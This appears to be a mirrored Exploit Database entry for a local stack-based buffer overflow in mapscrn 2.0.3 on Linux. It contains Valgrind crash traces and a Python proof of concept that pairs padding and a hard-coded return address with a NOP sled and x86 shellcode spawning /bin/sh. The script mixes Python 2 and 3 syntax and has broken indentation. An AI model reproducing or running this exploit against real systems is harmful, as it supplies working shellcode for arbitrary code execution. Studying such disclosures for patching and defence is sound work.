Mapscrn 2.03 – Local Buffer Overflow (PoC)

• Exploit Database
• 16 阅读

• 作者： Juan Sacco
  日期： 2017-06-09
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42144/

• # Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
  # Tested on: GNU/Linux - Kali 2017.1 Release
  #
  # Description: Mapscrn ( Part of setfont ) 2.0.3
  # Themapscrn command loads a user defined output character mapping table into the console driver.
  # The console driver may be later put into use user-defined mapping table mode by outputting a special
  # escape sequence to the console device.
  #
  # An attacker could exploit this vulnerability to execute arbitrary code in the
  # context of the application. Failed exploit attempts will result in a
  # denial-of-service condition.
  #
  # Architecture: all
  #
  # Vendor homepage: http://ccross.msk.su
  #
  # Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df)
  # at 0x4831518: strcpy (vg_replace_strmem.c:506)
  # by 0x10A71F: ??? (in /usr/bin/mapscrn)
  # by 0x10933B: ??? (in /usr/bin/mapscrn)
  # by 0x41414140: ???
  #
  # Invalid read of size 2
  # at 0x488DFCA: getenv (getenv.c:84)
  # by 0x48867AE: guess_category_value (dcigettext.c:1587)
  # by 0x48867AE: __dcigettext (dcigettext.c:667)
  # by 0x48855F5: dcgettext (dcgettext.c:47)
  # by 0x109733: ??? (in /usr/bin/mapscrn)
  # by 0x41414140: ???
  # Address 0x41414141 is not stack'd, malloc'd or (recently) free'd
  #
  # Process terminating with default action of signal 11 (SIGSEGV)
  # Access not within mapped region at address 0x41414141
  # at 0x488DFCA: getenv (getenv.c:84)
  # by 0x48867AE: guess_category_value (dcigettext.c:1587)
  # by 0x48867AE: __dcigettext (dcigettext.c:667)
  # by 0x48855F5: dcgettext (dcgettext.c:47)
  # by 0x109733: ??? (in /usr/bin/mapscrn)
  # by 0x41414140: ???
  
  
  import os,subprocess
  
  junk = "\x41" * 4880 # junk to offset
  nops = "\x90" * 24 # nops
  shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
  esp = "\xe0\xdf\xff\xbf" # Must be changed
  buffer = junk + esp + nops + shellcode # Craft the buffer
  
  try:
   print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["mapscrn", buffer])
  except OSError as e:
   if e.errno == os.errno.ENOENT:
   print "Mapscrnnot found!"
   else:
  print "Error executing exploit"
   raise